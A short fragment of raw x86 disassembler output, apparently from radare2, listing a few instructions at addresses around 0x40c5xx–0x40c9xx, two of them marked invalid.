test dword [eax - 1], ecx
invalid
invalid
call fcn.0040c582
cmpsd dword [esi], dword es:[edi]
xor ebp, eax
jmp 0x40c98d